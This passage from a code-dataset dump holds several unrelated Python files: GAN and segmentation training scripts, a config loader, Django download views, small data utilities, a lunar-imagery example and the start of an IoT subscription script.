experiments.gan import standard_parameters\n#######################################################################\n\nlog_dir = os.path.join(sys_config.log_root, exp_config.log_folder, exp_config.experiment_name)\n\n\ndef run_training(continue_run, log_dir):\n\n logging.info('===== RUNNING EXPERIMENT ========')\n logging.info(exp_config.experiment_name)\n logging.info('=================================')\n\n init_step = 0\n\n if continue_run:\n logging.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!! Continuing previous run !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n try:\n init_checkpoint_path = utils.get_latest_model_checkpoint_path(log_dir, 'model.ckpt')\n logging.info('Checkpoint path: %s' % init_checkpoint_path)\n init_step = int(init_checkpoint_path.split('/')[-1].split('-')[-1]) + 1 # plus 1 b/c otherwise starts with eval\n logging.info('Latest step was: %d' % init_step)\n log_dir += '_cont'\n\n except:\n logging.warning('!!! Didnt find init checkpoint. Maybe first run failed. Disabling continue mode...')\n continue_run = False\n init_step = 0\n\n logging.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n\n # import data\n data = adni_data_loader_all.load_and_maybe_process_data(\n input_folder=exp_config.data_root,\n preprocessing_folder=exp_config.preproc_folder,\n size=exp_config.image_size,\n target_resolution=exp_config.target_resolution,\n label_list = exp_config.label_list,\n offset=exp_config.offset,\n rescale_to_one=exp_config.rescale_to_one,\n force_overwrite=False\n )\n\n # extract images and indices of source/target images for the training and validation set\n images_train, source_images_train_ind, target_images_train_ind,\\\n images_val, source_images_val_ind, target_images_val_ind = data_utils.get_images_and_fieldstrength_indices(\n data, exp_config.source_field_strength, exp_config.target_field_strength)\n\n generator = exp_config.generator\n discriminator = exp_config.discriminator\n\n z_sampler_train = iterate_minibatches_endlessly(images_train,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=source_images_train_ind)\n x_sampler_train = iterate_minibatches_endlessly(images_train,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=target_images_train_ind)\n\n\n with tf.Graph().as_default():\n\n # Generate placeholders for the images and labels.\n\n im_s = exp_config.image_size\n\n training_placeholder = tf.placeholder(tf.bool, name='training_phase')\n\n if exp_config.use_generator_input_noise:\n noise_in_gen_pl = tf.random_uniform(shape=exp_config.generator_input_noise_shape, minval=-1, maxval=1)\n else:\n noise_in_gen_pl = None\n\n # target image batch\n x_pl = tf.placeholder(tf.float32, [exp_config.batch_size, im_s[0], im_s[1], im_s[2], exp_config.n_channels], name='x')\n\n # source image batch\n z_pl = tf.placeholder(tf.float32, [exp_config.batch_size, im_s[0], im_s[1], im_s[2], exp_config.n_channels], name='z')\n\n # generated fake image batch\n x_pl_ = generator(z_pl, noise_in_gen_pl, training_placeholder)\n\n # difference between generated and source images\n diff_img_pl = x_pl_ - z_pl\n\n # visualize the images by showing one slice of them in the z direction\n tf.summary.image('sample_outputs', tf_utils.put_kernels_on_grid3d(x_pl_, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_xs', tf_utils.put_kernels_on_grid3d(x_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_zs', tf_utils.put_kernels_on_grid3d(z_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='manual',\n input_range=exp_config.image_range))\n\n tf.summary.image('sample_difference_gx-x', tf_utils.put_kernels_on_grid3d(diff_img_pl, exp_config.cut_axis,\n exp_config.cut_index, rescale_mode='centered',\n cutoff_abs=exp_config.diff_threshold))\n\n # output of the discriminator for real image\n d_pl = discriminator(x_pl, training_placeholder, scope_reuse=False)\n\n # output of the discriminator for fake image\n d_pl_ = discriminator(x_pl_, training_placeholder, scope_reuse=True)\n\n d_hat = None\n x_hat = None\n if exp_config.improved_training:\n\n epsilon = tf.random_uniform([], 0.0, 1.0)\n x_hat = epsilon * x_pl + (1 - epsilon) * x_pl_\n d_hat = discriminator(x_hat, training_placeholder, scope_reuse=True)\n\n dist_l1 = tf.reduce_mean(tf.abs(diff_img_pl))\n\n # nr means no regularization, meaning the loss without the regularization term\n discriminator_train_op, generator_train_op, \\\n disc_loss_pl, gen_loss_pl, \\\n disc_loss_nr_pl, gen_loss_nr_pl = gan_model.training_ops(d_pl, d_pl_,\n optimizer_handle=exp_config.optimizer_handle,\n learning_rate=exp_config.learning_rate,\n l1_img_dist=dist_l1,\n w_reg_img_dist_l1=exp_config.w_reg_img_dist_l1,\n w_reg_gen_l1=exp_config.w_reg_gen_l1,\n w_reg_disc_l1=exp_config.w_reg_disc_l1,\n w_reg_gen_l2=exp_config.w_reg_gen_l2,\n w_reg_disc_l2=exp_config.w_reg_disc_l2,\n d_hat=d_hat, x_hat=x_hat, scale=exp_config.scale)\n\n\n # Build the operation for clipping the discriminator weights\n d_clip_op = gan_model.clip_op()\n\n # Put L1 distance of generated image and original image on summary\n dist_l1_summary_op = tf.summary.scalar('L1_distance_to_source_img', dist_l1)\n\n # Build the summary Tensor based on the TF collection of Summaries.\n summary_op = tf.summary.merge_all()\n\n # validation summaries\n val_disc_loss_pl = tf.placeholder(tf.float32, shape=[], name='disc_val_loss')\n disc_val_summary_op = tf.summary.scalar('validation_discriminator_loss', val_disc_loss_pl)\n\n val_gen_loss_pl = tf.placeholder(tf.float32, shape=[], name='gen_val_loss')\n gen_val_summary_op = tf.summary.scalar('validation_generator_loss', val_gen_loss_pl)\n\n val_summary_op = tf.summary.merge([disc_val_summary_op, gen_val_summary_op])\n\n # Add the variable initializer Op.\n init = tf.global_variables_initializer()\n\n # Create a savers for writing training checkpoints.\n saver_latest = tf.train.Saver(max_to_keep=3)\n saver_best_disc = tf.train.Saver(max_to_keep=3) # disc loss is scaled negative EM distance\n\n # prevents ResourceExhaustError when a lot of memory is used\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True # Do not assign whole gpu memory, just use it on the go\n config.allow_soft_placement = True # If a operation is not defined in the default device, let it execute in another.\n\n # Create a session for running Ops on the Graph.\n sess = tf.Session(config=config)\n\n summary_writer = tf.summary.FileWriter(log_dir, sess.graph)\n\n # Run the Op to initialize the variables.\n sess.run(init)\n\n if continue_run:\n # Restore session\n saver_latest.restore(sess, init_checkpoint_path)\n\n\n # initialize value of lowest (i. e. best) discriminator loss\n best_d_loss = np.inf\n\n for step in range(init_step, 1000000):\n\n start_time = time.time()\n\n # discriminator training iterations\n d_iters = 5\n if step % 500 == 0 or step < 25:\n d_iters = 100\n\n for _ in range(d_iters):\n\n x = next(x_sampler_train)\n z = next(z_sampler_train)\n\n # train discriminator\n sess.run(discriminator_train_op,\n feed_dict={z_pl: z, x_pl: x, training_placeholder: True})\n\n if not exp_config.improved_training:\n sess.run(d_clip_op)\n\n elapsed_time = time.time() - start_time\n\n # train generator\n x = next(x_sampler_train) # why not sample a new x??\n z = next(z_sampler_train)\n sess.run(generator_train_op,\n feed_dict={z_pl: z, x_pl: x, training_placeholder: True})\n\n if step % exp_config.update_tensorboard_frequency == 0:\n\n x = next(x_sampler_train)\n z = next(z_sampler_train)\n\n g_loss_train, d_loss_train, summary_str = sess.run(\n [gen_loss_nr_pl, disc_loss_nr_pl, summary_op], feed_dict={z_pl: z, x_pl: x, training_placeholder: False})\n\n summary_writer.add_summary(summary_str, step)\n summary_writer.flush()\n\n logging.info(\"[Step: %d], generator loss: %g, discriminator_loss: %g\" % (step, g_loss_train, d_loss_train))\n logging.info(\" - elapsed time for one step: %f secs\" % elapsed_time)\n\n\n if step % exp_config.validation_frequency == 0:\n\n z_sampler_val = iterate_minibatches_endlessly(images_val,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=source_images_val_ind)\n x_sampler_val = iterate_minibatches_endlessly(images_val,\n batch_size=exp_config.batch_size,\n exp_config=exp_config,\n selection_indices=target_images_val_ind)\n\n # evaluate the validation batch with batch_size images (from each domain) at a time\n g_loss_val_list = []\n d_loss_val_list = []\n for _ in range(exp_config.num_val_batches):\n x = next(x_sampler_val)\n z = next(z_sampler_val)\n g_loss_val, d_loss_val = sess.run(\n [gen_loss_nr_pl, disc_loss_nr_pl], feed_dict={z_pl: z,\n x_pl: x,\n training_placeholder: False})\n g_loss_val_list.append(g_loss_val)\n d_loss_val_list.append(d_loss_val)\n\n g_loss_val_avg = np.mean(g_loss_val_list)\n d_loss_val_avg = np.mean(d_loss_val_list)\n\n validation_summary_str = sess.run(val_summary_op, feed_dict={val_disc_loss_pl: d_loss_val_avg,\n val_gen_loss_pl: g_loss_val_avg}\n )\n summary_writer.add_summary(validation_summary_str, step)\n summary_writer.flush()\n\n # save best variables (if discriminator loss is the lowest yet)\n if d_loss_val_avg <= best_d_loss:\n best_d_loss = d_loss_val_avg\n best_file = os.path.join(log_dir, 'model_best_d_loss.ckpt')\n saver_best_disc.save(sess, best_file, global_step=step)\n logging.info('Found new best discriminator loss on validation set! - %f - Saving model_best_d_loss.ckpt' % best_d_loss)\n\n logging.info(\"[Validation], generator loss: %g, discriminator_loss: %g\" % (g_loss_val_avg, d_loss_val_avg))\n\n # Write the summaries and print an overview fairly often.\n if step % exp_config.save_frequency == 0:\n\n saver_latest.save(sess, os.path.join(log_dir, 'model.ckpt'), global_step=step)\n\n\n\n\ndef main():\n\n continue_run = True\n if not tf.gfile.Exists(log_dir):\n tf.gfile.MakeDirs(log_dir)\n continue_run = False\n\n # Copy experiment config file and standard_parameters file\n if continue_run:\n tf.gfile.MakeDirs(log_dir + '_cont')\n used_log_dir = log_dir + '_cont'\n else:\n used_log_dir = log_dir\n\n run_training(continue_run, log_dir=log_dir)\n\n # Copy experiment config file and standard_parameters file\n # TODO: Somehow this did not copy the files to the log directory\n shutil.copy(exp_config.__file__, used_log_dir)\n shutil.copy(standard_parameters.__file__, used_log_dir)\n\n\n run_training(continue_run, log_dir=log_dir)\n\n\nif __name__ == '__main__':\n\n main()\n\n\n","sub_path":"train_gan.py","file_name":"train_gan.py","file_ext":"py","file_size_in_byte":14819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"653143067","text":"# -*- coding : utf-8 -*-\n'''\nDesigner: Ralf wang\nMail: hao.wang@carestream.com\nDate: 2019-07-24\nReviewer:\nOragnize all the parameters and configurations in Json file.\nDesign the fucntions to offer the Configurationlib and parameters.\n'''\nimport json\nimport os\nfrom collections import namedtuple\nimport random\nfrom datetime import datetime, timedelta\nnull = None\nfile_path = 'C:\\Program Files (x86)\\Python37\\Lib\\site-packages\\PUMA_ParameterAndSettings\\configuration.json'\n\n\nclass Configurationlib(object):\n def __init__(self):\n if os.path.isfile(file_path):\n with open(file_path, 'r') as fileobject:\n data = fileobject.read()\n try:\n json_obj = json.loads(data, object_hook=lambda d: namedtuple('json_obj', d.keys())(*d.values()))\n except Exception as e:\n raise Exception(\"Configurationlib: Load the configuration to Json failed.\\n \")\n raise Exception(\"Configurationlib: File is: %s\" % (file_path))\n\n self.server = json_obj.server\n self.modality = eval(json_obj.modality)\n self.bodypart = eval(json_obj.bodypart)\n self.grender = eval(json_obj.grender)\n self.notifyserver_exam_body_content = json_obj.notifyserver_exam_body_content\n self.watermark_path = json_obj.watermark_path\n self.db_connectString = json_obj.db_connectString\n self.db_driver = json_obj.db_driver\n self.db_server = json_obj.db_server\n self.db_default_database = json_obj.db_default_database\n self.db_uid = json_obj.db_uid\n self.db_pwd = json_obj.db_pwd\n self.report_template_file = json_obj.report_template_file\n self.report_file = json_obj.report_file\n self.report_default_printer = json_obj.report_default_printer\n self.report_powershell_path = json_obj.report_powershell_path\n\n self.Reportstatus_mode_value = eval(json_obj.Reportstatus_mode_value)\n self.Reportstatus_value_mode = eval(json_obj.Reportstatus_value_mode)\n\n self.EHDPS_status_url = json_obj.EHDPS_status_url\n self.EHDPS_printtask_create_url = json_obj.EHDPS_printtask_create_url\n self.EHDPS_printtask_print_url = json_obj.EHDPS_printtask_print_url\n self.EHDPS_printtask_report_getinfo_url = json_obj.EHDPS_printtask_report_getinfo_url\n self.EHDPS_printtask_report_print_url = json_obj.EHDPS_printtask_report_print_url\n self.EHDPS_printtask_status_url = json_obj.EHDPS_printtask_status_url\n self.EHDPS_printtask_status_dict = eval(json_obj.EHDPS_printtask_status_dict)\n self.EHDUS_upload_report_upload_url = json_obj.EHDUS_upload_report_upload_url\n self.Printmode_dict_mode_value = eval(json_obj.Printmode_dict_mode_value)\n self.Printmode_dict_value_mode = eval(json_obj.Printmode_dict_value_mode)\n self.Integration_URL = json_obj.Integration_URL\n self.Notify_URL = json_obj.Notify_URL\n self.PrintService_URL = json_obj.PrintService_URL\n self.HoldTime_dict_mode_value = eval(json_obj.HoldTime_dict_mode_value)\n self.HoldTime_dict_value_mode = eval(json_obj.HoldTime_dict_value_mode)\n\n self.Platform_URL = json_obj.Platform_URL\n self.Platform_webapi_worklist_searchWorklist_url = json_obj.Platform_webapi_worklist_searchWorklist_url\n self.Platform_webapi_worklist_searchWorklist_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_string)\n self.Platform_webapi_worklist_searchWorklist_fuzzy_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_fuzzy_string)\n #self.Platform_webapi_worklist_searchWorklist_patienttype = eval(json_obj.Platform_webapi_worklist_searchWorklist_patienttype)\n self.Platform_webapi_worklist_shortcut_API_string = eval(json_obj.Platform_webapi_worklist_shortcut_API_string)\n self.Platform_webapi_worklist_saveShortcut = json_obj.Platform_webapi_worklist_saveShortcut\n self.Platform_webapi_worklist_delete_shortcut_url = json_obj.Platform_webapi_worklist_delete_shortcut_url\n self.Platform_webapi_worklist_delete_shortcut_bodystring = eval(json_obj.Platform_webapi_worklist_delete_shortcut_bodystring)\n self.Platform_webapi_worklist_searchWorklist_shortcut_string = eval(json_obj.Platform_webapi_worklist_searchWorklist_shortcut_string)\n self.Platform_webapi_worklist_filmsinfo_accn_url = json_obj.Platform_webapi_worklist_filmsinfo_accn_url\n self.Platform_webapi_worklist_centralPrint_url = json_obj.Platform_webapi_worklist_centralPrint_url\n self.Platform_webapi_worklist_centralPrint_body_string = eval(json_obj.Platform_webapi_worklist_centralPrint_body_string)\n self.Platform_account_check_loginStatus_url = json_obj.Platform_account_check_loginStatus_url\n self.Platform_webapi_worklist_printEstimateTime_url = json_obj.Platform_webapi_worklist_printEstimateTime_url\n self.Platform_webapi_worklist_printstatus_url = json_obj.Platform_webapi_worklist_printstatus_url\n else:\n raise Exception(\"File Error\", \"The file %s is not exist.\" % (file_path))\n\n '''\n Random return a modality\n '''\n\n def random_modality(self):\n modality = self.modality[random.randint(0, len(self.modality) - 1)]\n return modality\n\n '''\n Random return a bodypart\n '''\n\n def random_bodypart(self):\n modality_type = self.bodypart[random.randint(0, len(self.bodypart) - 1)]\n return modality_type\n\n '''\n Random return a gender\n '''\n\n def random_gender(self):\n grender = self.grender[random.randint(0, len(self.grender) - 1)]\n return grender\n\n '''\n Random return a brithday\n '''\n\n def random_brithday(self):\n random_number = random.randint(0, 100)\n random_days = random_number * 365\n brithday = (datetime.now() - timedelta(days=random_days)).strftime('%Y-%m-%d')\n return brithday\n\n '''\n return the content with string type.\n '''\n\n def get_notifyserver_exam_body_content(self):\n ret = self.notifyserver_exam_body_content\n return ret\n\n def test(self):\n pass\n","sub_path":"Automation/PUMA_Python_Robot/PUMA_AUTO/Scripts/PUMA_ParameterAndSettings/Configurationlib.py","file_name":"Configurationlib.py","file_ext":"py","file_size_in_byte":6535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"3478246","text":"# coding=utf-8\nimport os\nimport errno\nfrom hashlib import md5\nimport datetime\nfrom django.http.response import JsonResponse\nfrom django.conf import settings\nfrom bims.api_views.search import Search\nfrom sass.models.site_visit_taxon import SiteVisitTaxon\nfrom sass.tasks.download_sass_data_site import (\n download_sass_data_site_task,\n download_sass_summary_data_task\n)\n\n\nFAILED_STATUS = 'failed'\nSUCCESS_STATUS = 'success'\nPROCESSING_STATUS = 'processing'\nRESPONSE_STATUS = 'status'\nRESPONSE_MESSAGE = 'message'\n\n\ndef get_response(status, message):\n \"\"\"\n Get dictionary response\n :param status: status of response\n :param message: message of response\n :return:\n \"\"\"\n return {\n RESPONSE_STATUS: status,\n RESPONSE_MESSAGE: message\n }\n\n\ndef get_filename(uri, additional_parameter):\n \"\"\"\n Create a filename with uri\n :param uri: request uri\n :param additional_parameter: additional parameter for filename\n :return: path_file, filename\n \"\"\"\n today_date = datetime.date.today()\n filename = md5(\n '%s%s%s' % (\n uri,\n additional_parameter,\n today_date)\n ).hexdigest()\n filename += '.csv'\n\n # Check if filename exists\n folder = 'csv_processed'\n path_folder = os.path.join(settings.MEDIA_ROOT, folder)\n path_file = os.path.join(path_folder, filename)\n try:\n os.mkdir(path_folder)\n except OSError as exc:\n if exc.errno != errno.EEXIST:\n raise\n pass\n\n return path_file, filename\n\n\ndef download_sass_data_site(request, **kwargs):\n \"\"\"\n Download all sass data by site id\n \"\"\"\n filters = request.GET\n search = Search(filters)\n collection_records = search.process_search()\n # Get SASS data\n site_visit_taxa = SiteVisitTaxon.objects.filter(\n id__in=list(collection_records.values_list('id', flat=True))\n )\n if not site_visit_taxa:\n response_message = 'No SASS data for this site'\n return JsonResponse(get_response(FAILED_STATUS, response_message))\n\n # Filename\n search_uri = request.build_absolute_uri()\n path_file, filename = get_filename(search_uri, site_visit_taxa.count())\n\n if os.path.exists(path_file):\n return JsonResponse(get_response(SUCCESS_STATUS, filename))\n\n download_sass_data_site_task.delay(\n filename,\n filters,\n path_file\n )\n\n return JsonResponse(get_response(PROCESSING_STATUS, filename))\n\n\ndef download_sass_summary_data(request):\n \"\"\"\n Download sass data summary\n \"\"\"\n filters = request.GET\n search = Search(filters)\n collection_records = search.process_search()\n\n # Get SASS data\n site_visit_taxa = SiteVisitTaxon.objects.filter(\n id__in=list(collection_records.values_list('id', flat=True))\n )\n if not site_visit_taxa:\n response_message = 'No SASS data for this site'\n return JsonResponse(get_response(FAILED_STATUS, response_message))\n\n # Filename\n search_uri = request.build_absolute_uri()\n path_file, filename = get_filename(search_uri, site_visit_taxa.count())\n\n if os.path.exists(path_file):\n return JsonResponse(get_response(SUCCESS_STATUS, filename))\n\n download_sass_summary_data_task.delay(\n filename,\n filters,\n path_file\n )\n\n return JsonResponse(get_response(PROCESSING_STATUS, filename))\n","sub_path":"sass/views/download_sass_data_site.py","file_name":"download_sass_data_site.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"48112477","text":"def htest():\n i = 1\n while i < 4:\n n = yield i\n if i == 3:\n yield 100\n i += 1\n\n\ndef itest():\n val = yield from htest()\n print(val)\n\nt = itest()\nt.send(None)\nj = 0\nwhile j < 3:\n j += 1\n try:\n t.send(j)\n except StopIteration as e:\n print('异常了')","sub_path":"Python/webDemo/demoApp/views1.py","file_name":"views1.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"435357958","text":"import csv\nimport json\n\nif __name__ == \"__main__\":\n print('------------------------------------------------------------------- \\n')\n print('Création du fichier output/prenoms-cesson-sevigne.json à partir de files/prenoms-cesson-sevigne.csv')\n with open('output/prenoms-cesson-sevigne.json', 'w') as jsonfile:\n with open('files/prenoms-cesson-sevigne.csv', 'r') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=';', quotechar='|')\n # tableau de résultat\n result = []\n # les clés qui vont nous servir à créer nos dictionnaires\n keys = None\n for row in csvreader:\n # la première ligne va servir pour les clés de nos dictionnaires pythons\n if not(keys):\n keys = row\n else:\n # on transforme les lignes suivantes en dictionnaire\n dictionnary = dict(zip(keys, row))\n # on l’ajoute au tableau\n result.append(dictionnary)\n\n # on transforme le tableau en json et on écrit le résultat dans le fichier\n jsonfile.write(json.dumps(result))\n\n print('Fichier output/prenoms-cesson-sevigne.json créé \\n')\n print(\n '------------------------------------------------------------------- \\n')\n","sub_path":"TP 2 - Import_Export/squelette-tp2/example-csvtojson.py","file_name":"example-csvtojson.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"495740550","text":"import numpy as np\nimport tensorflow as tf\nimport jaguarpy\n\n##load traing data from jaguar\njdb = jaguarpy.Jaguar();\nrc = jdb.connect( \"192.168.7.120\",2222,\"admin\",\"jaguar\",\"test\",\"\",0);\njdb.execute(\"create table linearModel (key: x_train int, value: y_train int;\");\n\njdb.execute(\"insert into linearModel values (1, 0)\");\njdb.execute(\"insert into linearModel values (2, -1)\");\njdb.execute(\"insert into linearModel values (3, -2)\");\njdb.execute(\"insert into linearModel values (4, -3)\");\n\njdb.query( \"select * from linearModel;\");\nx_train = [0,0,0,0,0,0,0,0,0]\ny_train = [0,0,0,0,0,0,0,0,0]\nm = 0\n\nwhile jdb.reply():\n #jdb.printRow();\n x = jdb.getInt(\"x_train\");\n y = jdb.getInt(\"y_train\");\n x_train[m] = x;\n y_train[m] = y;\n m = m + 1\n #ds = 'x_train '+ repr(u) +' y_train ' + repr(a)\n #print(x_train);\n #print(y_train);\n\n# Model parameters\nW = tf.Variable([.3], dtype=tf.float32)\nb = tf.Variable([-.3], dtype=tf.float32)\n# Model input and output\nx = tf.placeholder(tf.float32)\nlinear_model = W * x + b\n\ny = tf.placeholder(tf.float32)\n# loss\nloss = tf.reduce_sum(tf.square(linear_model - y)) # sum of the squares\n# optimizer\noptimizer = tf.train.GradientDescentOptimizer(0.01)\ntrain = optimizer.minimize(loss)\n# training data\n#x_train = [1,2,3,4]\n#y_train = [0,-1,-2,-3]\n# training loop\ninit = tf.initialize_all_variables()\nsess = tf.Session()\nsess.run(init) # reset values to wrong\nfor i in range(1000):\n sess.run(train, {x:x_train, y:y_train})\n\n# evaluate training accuracy\ncurr_W, curr_b, curr_loss = sess.run([W, b, loss], {x:x_train, y:y_train})\nprint(\"W: %s b: %s loss: %s\"%(curr_W, curr_b, curr_loss))\n","sub_path":"example/linearRegression.py","file_name":"linearRegression.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"28132013","text":"import keras\nimport random\nimport pickle\nimport numpy as np\nimport scipy.ndimage\nimport tensorflow as tf\nimport os\nfrom PIL import Image\nfrom keras import metrics\nfrom random import shuffle\nfrom keras.models import Model\nfrom keras import backend as K\nimport matplotlib.pyplot as plt\nfrom keras.optimizers import Adam, SGD\nfrom keras.layers import Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping\nfrom keras.layers import Conv2D, MaxPooling2D, Input, Conv2DTranspose, Concatenate, BatchNormalization, UpSampling2D\nfrom tiramisu_net import Tiramisu\n\ndef build_callbacks():\n checkpointer = ModelCheckpoint(filepath=\"../models/ph2-fcdn-bin-iou.h5\", monitor='val_mean_iou', verbose=1, save_best_only=True, save_weights_only=False, mode='max')\n reduce = keras.callbacks.ReduceLROnPlateau(monitor='val_mean_iou', factor=0.05, patience=4, mode='max')\n early = keras.callbacks.EarlyStopping(monitor='val_mean_iou', min_delta=1e-4, patience=10, mode='max')\n csv = keras.callbacks.CSVLogger('../logs/ph2-fcdn-bin-iou.csv', separator=',')\n callbacks = [checkpointer, reduce, early, csv]\n return callbacks\n\n#def mean_iou(y_true, y_pred):\n# yt0 = y_true[:,:,:,0]\n# yp0 = K.cast(y_pred[:,:,:,0] > 0.5, 'float32')\n# inter = tf.count_nonzero(tf.logical_and(tf.equal(yt0, 1), tf.equal(yp0, 1)))\n# union = tf.count_nonzero(tf.add(yt0, yp0))\n# iou = tf.where(tf.equal(union, 0), 1., tf.cast(inter/union, 'float32'))\n# return iou\n\ndef mean_iou(y_true, y_pred):\n prec = []\n for t in np.arange(0.5, 1.0, 0.05):\n y_pred_ = tf.to_int32(y_pred > t)\n score, up_opt = tf.metrics.mean_iou(y_true, y_pred_, 2)\n K.get_session().run(tf.local_variables_initializer())\n with tf.control_dependencies([up_opt]):\n score = tf.identity(score)\n prec.append(score)\n return K.mean(K.stack(prec), axis=0)\n\nh = 256\nw = 256\nseed = 1\n\nX_path = '/scratch/mraza/PH2 Dataset images/training_data/'\nY_path = '/scratch/mraza/PH2 Dataset images/training_data/'\nX_val_path = '/scratch/mraza/PH2 Dataset images/validation_data/'\nY_val_path = '/scratch/mraza/PH2 Dataset images/validation_data/'\nX_test_path = '/scratch/mraza/PH2 Dataset images/test_data/'\nY_test_path ='/scratch/mraza/PH2 Dataset images/test_data/'\n\nbatch_size = 4\n\nx_gen_args = dict(\n rescale=1./255,\n rotation_range=0.2,\n shear_range=0.3,\n zoom_range=0.3,\n width_shift_range=0.3,\n height_shift_range=0.3,\n )\n\ny_gen_args = dict(\n rescale=1./255,\n rotation_range=0.2,\n shear_range=0.3,\n zoom_range=0.3,\n width_shift_range=0.3,\n height_shift_range=0.3,\n )\n\nimage_datagen = ImageDataGenerator(**x_gen_args)\nmask_datagen = ImageDataGenerator(**y_gen_args)\n\nimage_generator = image_datagen.flow_from_directory(\n X_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\ntrain_generator = zip(image_generator, mask_generator)\n\nimage_generator = image_datagen.flow_from_directory(\n X_val_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_val_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nval_generator=zip(image_generator, mask_generator)\nimage_generator = image_datagen.flow_from_directory(\n X_test_path,\n target_size=(h, w),\n classes = ['images'],\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\nmask_generator = mask_datagen.flow_from_directory(\n Y_test_path,\n target_size=(h, w),\n classes = ['masks'],\n color_mode='grayscale',\n batch_size=batch_size,\n class_mode=None,\n interpolation='nearest',\n seed=seed)\n\ntest_generator=zip(image_generator, mask_generator)\n\nmodel = Tiramisu(input_shape=(256,256,3),n_classes=1)\nmodel.compile(Adam(), loss='binary_crossentropy', metrics=[mean_iou])\nhistory = model.fit_generator(\n train_generator,\n steps_per_epoch = 150//batch_size, \n validation_data=val_generator,\n validation_steps=25//batch_size,\n epochs = 100,\n callbacks = build_callbacks(),\n verbose=2)\nloss, iou = model.evaluate_generator(test_generator,25//batch_size)\nprint('loss is '+str(loss))\nprint('miou is '+str(iou))","sub_path":"python_files/densenet-ph2.py","file_name":"densenet-ph2.py","file_ext":"py","file_size_in_byte":5105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"619462564","text":"import os\nimport sys\nroot = os.path.join(os.path.dirname(__file__), '..', '..')\nsys.path.insert(0, os.path.abspath(root))\n\nfrom pdsimage.Structure import *\nfrom pdsimage.PDS_Extractor import *\n\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n path_pdsfile = os.path.join(root, 'PDS_FILES')\n \n lon0, lon1, lat0, lat1 = 0, 20, -10, 10\n img = BinaryTable('LDEM_16', path_pdsfile=path_pdsfile) \n X, Y, Z = img.extract_grid(lon0,lon1,lat0,lat1)\n\n imagep = os.path.join(root, 'docs', 'source', '_static')\n \n Copernicus = Crater('name', 'Copernicus', path_pdsfile=path_pdsfile)\n Copernicus.ppdlola = 64\n Copernicus.ppdwac = 64\n \n Copernicus.overlay(True, name=os.path.join(imagep, 'Copernicus2.png'))\n\n plt.show()\n","sub_path":"docs/source/cookbook.py","file_name":"cookbook.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"195632238","text":"\"\"\"订阅平台业务数据\"\"\"\r\n\r\nimport sys\r\n\r\nsys.path.insert(0,'C:/Users/admin/Desktop/PythonSDK_V20190905/Python_SDK_Demo')\r\nsys.path.insert(0,\"E:/envs/IOT_LIGHT/Lib/site-packages/PythonSDK_V20190905\")\r\n\r\nfrom Python_SDK_Demo.com.huawei.iotplatform.client.dto.SubDeviceBusinessDataInDTO import SubDeviceBusinessDataInDTO\r\nfrom Python_SDK_Demo.com.huawei.iotplatform.constant.Constant import Constant\r\nfrom PythonSDK_V20190905.com.huawei.iotplatform.client.invokeapi.Authentication import Authentication\r\nfrom PythonSDK_V20190905.com.huawei.iotplatform.client.invokeapi.SubscriptionManagement import SubscriptionManagement\r\n\r\nif __name__==\"__main__\":\r\n authentication = Authentication()\r\n ag = authentication.getAuthToken(Constant().clientInfo())\r\n accesstoken = ag.split(\",\")[0].split(\":\")[1]\r\n\r\n subdevicedatadto=SubDeviceBusinessDataInDTO()\r\n #订阅设备数据发生变化时向服务器发送消息\r\n subdevicedatadto.setNotifyType(\"deviceDataChanged\")\r\n subdevicedatadto.setOwnerFlag(\"true\")\r\n subdevicedatadto.setCallbackUrl(\"http://121.36.37.188:443/reveiver/datachange\")\r\n\r\n data_collect=SubscriptionManagement()\r\n 